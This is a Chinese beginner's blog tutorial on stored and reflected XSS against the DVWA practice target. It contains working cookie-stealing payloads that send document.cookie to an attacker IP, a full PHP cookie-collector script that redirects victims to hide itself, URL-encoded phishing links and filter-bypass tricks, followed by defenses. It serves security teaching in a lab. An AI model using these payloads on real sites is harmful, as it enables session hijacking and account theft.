信安小白，一篇博文讲明白存储型、反射型XSS漏洞

靶机系统：win7

---

系列博文

1. 信安小白，说明白渗透测试及信息安全
2. 信安小白，一篇博文讲明白暴力破解和SQL注入
3. 信安小白，一篇博文讲明白上传漏洞——获得shop靶机的Webshell
4. 信安小白，一篇博文讲明白存储型、反射型XSS漏洞
5. 信安小白，一篇博文讲明白CSRF攻击和防御
6. 信安小白，科普一篇博文讲对称密码算法、非对称密码算法
7. 信安小白，一篇博文讲明白数字签名
8. 信安小白，一篇博文讲明白数字证书和PKI(公钥基础设施)

一、DVWA 靶机

  旨在为安全专业人员测试自己的专业技能和工具提供合法的环境，帮助web开发者更好的理解web应用安全防范的过程。DVWA靶机把最常见的漏洞都包含了：SQL注入、文件上传、文件包含、命令注入、XSS、CSRF。

GitHub 下载DVWA 靶机

DVWA 安全级别：可以看到不同的等级的防御源代码—— View Source

• 低级： 毫无安全措施可言。用错误的编码让 Web应用程序的漏洞表现出来，并作为教授或者学习基本开发技术的平台。
• 中级：这个级别，开发人员会尝试保护但是失败…。对用户提出挑战，以改进他们的开发技术。
• 高级：中级难度的扩展，会混用更难攻击的代码或者替换不良代码来尝试保护。类似于CTF竞赛。
• 不可能：可以抵御所有漏洞。这是用来将有漏洞的代码和安全性代码做对比的。

安装DVWA平台后，部分账户密码设置在config.inc.php中

注意：
  DVWA靶机平台可能存在bug，即：受到攻击时就跳转到impossible状态并且不能修改！ 因此解决方法：用记事本 打开 DVWA-X.X/config/config.inc.php（例：DVWA-1.9/config/config.inc.php）文件，找到 #Default security level，设置 $_DVWA['default_security_level'] = "low"
   代码及符号需要在英文输入法下输入

---

二、XSS

  XSS又称CSS，Cross Site Script(跨站脚本攻击)，也可以叫javascript代码注入攻击，脚本需要通过网站转发给用户，让对方浏览器执行js脚本。
攻击者怎么把脚本跨站发给用户？
  存储型XSS又叫持久型，像论坛这样的网站，上传帖子时，如果没有提交正常的语句，而是提交了js代码，该帖子就会上传到数据库，服务器都会将攻击者发表带有脚本的帖子存储在服务器上，含有恶意的脚本存储在服务器，每个访问该帖子的客户端就会触发执行。
  存储型XSS攻击是XSS里危害最大的一种，“持久”体现在代码能够被持久化保存到服务器上。此类漏洞危害性极大，一经存储所有访问的人都会被执行脚本，可谓一人上传危害一大片。比如：将js脚本存储在一个很吸引人的帖子下，所有看到的人都愿意点击，这样的话，脚本就会被很多人访问，这个脚本可能是 弹窗 等内容。

  js脚本需要浏览器来执行，服务器不执行，也就是说对浏览器有危害而不对服务器有危害，解决方案：第一种：浏览器对js脚本进行过滤进行XSS筛选；第二种：服务器对提交的内容要有筛选和限制。比如下图，上传js代码，如果有弹窗，则证明存在XSS攻击漏洞。

1. 判断是否存在XSS漏洞

输入<script>alert("xss")</script>,如果脚本运行有弹窗说明存在漏洞。

如果没有弹窗，可能需要设置一下浏览器（基本上大部分浏览器都会把XSS漏洞过滤掉）：

浏览器：工具 -> Internet 选项 -> 安全 -> 自定义级别 -> 将启用XSS筛选器改为禁用 -> 点击 确定 -> 重新 Reset DB(左边选项栏第二个)

上传成功后，每次上传其他的文字，都会弹窗了！！！

下次实验时，务必重新 Reset DB 重启数据库，防止影响下次实验效果！

2. XSS攻击窃取cookie

2.1 cookie为什么产生？

  http协议是一种无状态协议，服务器因此对于发送请求的客户端没有任何记忆。客户端就不得不重复做很多事情，比如每次网站都要问你用户名和密码。为了提高可用性和效率，cookie作为信息的携带者和记录者，充当了身份证和笔记本的作用。

2.2 cookie作用机制

  如果客户端同意使用cookie，客户端第一次请求服务器时，服务器会创建一个带有id的cookie发送给客户端。客户端收到后，将cookie保存在本地，由浏览器管理。 因此XSS攻击如果盗用了用户的cookie，就会冒充用户进行身份认证！

2.3 存储型XSS攻击窃取cookie

</pre><script>document.location = 'http://192.168.1.*/acceptcookie.php?cookie=' + document.cookie;</script><pre>

  前面的ip地址，是攻击者的ip地址，acceptcookie.php用来直接获得接收用户cookie的值(只能获取非HttpOnly 类型的cookie）

# acceptcookie.php 用于接收cookie值，保存在cookie.txt
<?php
$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 时：分：秒”的格式显示时间
$referer=getenv ('HTTP_REFERER'); //链接来源
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型

$fp = fopen('cookie.txt', 'a'); //打开cookie.txt，若不存在则创建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //写入文件
fclose($fp); //关闭文件
header("Location: http://www.baidu.com")//重定向到baidu，防止发现
?>

  发送js脚本用于盗取用户cookie：ip地址为攻击者的ip地址，让用户浏览器执行脚本找到攻击者的ip地址上的acceptcookie.php，并将浏览器当下cookie值发送给攻击者

在靶机文件中，存在 cookie.txt

---

2.4 中级存储型XSS攻击(防御代码)

$message = htmlspecialchars( $message );
Htmlspecialchars（）把预定义的字符转换为 HTML 实体，即输出文本，不能让js代码执行。

什么是html实体？
  在html中有些字符，像 < 这类的，对HTML来说是有特殊意义的，所以这些字符是不允许在文本中使用。要在HTML中显示<这个字符，我们就必须使用实体字符<。

$name = str_replace( '<script>', '', $name );  # <script>替换成了空格

name参数，只是简单过滤了<script>字符串，可以通过大小写绕过。将<script>变成<Script>

以上脚本必须在用户访问网站A时执行，才能得到用户访问A网站的cookie。

3. 反射型XSS漏洞

• 存储式漏洞也称为持久型XSS
    发表带有脚本的帖子，从而把恶意脚本存储在服务器，每个访问该帖子的客户端就会触发执行。

• 反射式漏洞
    服务器不存储脚本，依靠服务器反射回脚本，在客户端触发执行。

目标：获得用户访问网站A的cookie（注意用户是已登录状态）

问： 谁执行JS脚本？
答： 用户浏览器
解释： 要获得用户访问A网站的cookie，只能是浏览器打开网站A的页面时执行JS脚本，JS脚本是服务器发给用户。
问： 但是攻击者不能将JS脚本存储在服务器上，服务器怎么发给用户？
答： 用户发给服务器，服务器反射给用户，比如上网时填入昵称xxx，服务器回复hello xxx, 将昵称反射给用户。再比如搜索xxx关键字，返回你要搜索的是：xxx。

问： 用户为什么会提交JS脚本给服务器？
答： 用户不是自己主动提交，而是攻击者让他提交。
问： 用户为什么会听攻击者？攻击者要发给用户什么？
答： 攻击者发给用户一个链接，引诱用户点击，用户打开链接后跨站向服务器A提交JS脚本。
答： 服务器返回脚本，用户浏览器执行，将cookie发给攻击者。

  攻击者发现目标网站上存在反射型XSS漏洞，于是就创建一个恶意网站，把恶意网站链接发给用户，引诱用户点击。用户点击链接就执行恶意网站的内容，即跨站请求：向目标网站提交参数，参数内容就是js脚本。目标网站的服务器返回脚本，用户浏览器执行，把cookie发给攻击者。

3.1 反射型XSS漏洞实验

判断存在反射型XSS漏洞的网站：
找到一个可以输入信息的网页，

输入信息（name），返回：Hello xxx。发现网站服务器可以将用户填写的信息返回给网页。也就是用户提交什么就返回什么。

如果上传js脚本：<script>alert("xss")</script>

上传脚本后：有弹窗

攻击者向靶机提交脚本，脚本反射回来可以执行，说明靶机没有对上传的内容进行过滤，存在反射型XSS漏洞。

问题： 用户不会自己发送脚本，只能是攻击者发功恶意链接，攻击者点击后，跨站向目标网站发送脚本。
  因此， 我们发现：上传js脚本时url是在变化的，因此可以使用恶意连接，访问恶意网站来引导用户自己上传js脚本。

未上传时url：

上传后url：

url上的name=后面的应该是上传的内容，结果却是看不懂的字符串，可以猜想到网站使用了url编码。

反射型xss漏洞流程：

编写钓鱼网页，实施反射型XSS漏洞攻击获取用户的cookie

<a href='http://192.168.163.128/DVWA-1.9/vulnerabilities/xss_r/?name=%3C%2Fpre%3E%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.163.128%2Facceptcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E%3Cpre%3E'>111</a>

代码说明： 因为我们需要把js脚本从我们恶意的网站上传到靶机上，因此会有 两个url，前面的url是 靶机的ip地址，后面的url是 恶意网站的地址（我这里使用一台计算机，因此两个地址一样）

编写恶意网站（l.php）并将其发送到WWW目录下（用DVWA靶机需要，如果是其他靶机可能不需要）：

用户访问恶意网站：前提是已经登陆网站了，登陆有效

发现可以获取用户的cookie信息：

3.2 中级、高级反射型XSS攻击

3.2.1 中级反射型XSS攻击防御与绕过

防御是：<script> 用空格替代，可以用大小写绕过。<script>替换成<Script>

$name = str_replace( '<script>', '', $_GET[ 'name' ] );

3.2.2 高级级反射型XSS攻击防御与绕过

防御代码用了正则表达式，可以用其他编码绕过。

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '',
$_GET[ 'name' ] );

3.3 总结

1. 用户C正常登录DVWA网站，登录成功会得到一个会话信息的cookie。

2. 攻击者如何发现网站DVWA存在XSS漏洞？
     攻击者向DVWA提交脚本，脚本反射回来能够执行，说明DVWA没有进
   行过滤，存在反射性XSS漏洞。

3. 攻击者B构造恶意网站,并将恶意网站URL发送给被用户C，攻击者如何构造恶意网站？
   代码：
   <a href='http://192.168.1.3/DVWA-1.9/vulnerabilities/xss_r/?name=%3C%2Fpre%3E%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.1.5%2Facceptcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E%3Cpre%3E'>111</a>
   代码说明： 因为我们需要把js脚本从我们恶意的网站上传到靶机上，因此会有 两个url，前面的url是 靶机的ip地址，后面的url是 恶意网站的地址（我这里使用一台计算机，因此两个地址一样）

4. 用户C打开攻击者B发送过来的链接: 192.168.1.3/test.php ，192.168.1.5/test.php 两个IP地址分别是谁的？
   192.168.1.3/test.php 靶机、目标网站的ip地址
   192.168.1.5/test.php 攻击者的ip地址

5. 用户在不知情的情况下跨站向DVWA提交JS脚本；注意提交的是下面脚本的url编码：
   </pre><script>document.location ='http://192.168.1.*/acceptcookie.php?cookie='+document.cookie;</script><pre>这里IP地址是谁的？
   攻击者的ip地址

6. DVWA执行用户发出的请求, 根据请求的参数值(JS脚本），构造不同的HTML返回；

7. 用户C收到DVWA返回的包，解析并执行JS脚本；

---

4. 提出防御方案

1. 对输入和url参数进行过滤。
     对所有用户提交内容进行可靠的输入验证（XSS特征库），包括对URL、查询关键字、HTTP头、POST数据等。不允许发现提交内容与网页要求的提交内容不符的情况，避免提交js脚本。对url中的参数进行过滤，过滤掉会导致脚本执行的相关内容。

2. 使用HttpOnly设置。
     设置HttpOnly属性，让js脚本无法获取cookie信息。Cookie都是通过document对象获取的，如果能让cookie在浏览器中不可见就可以防御，cookie设置HttpOnly属性，那么通过js脚本将无法读取到cookie信息。

3. 对输出信息进行编码。
     对所有要动态输出到页面的内容，通通进行相关的编码和转义，进行html编码，使脚本无法在浏览器中执行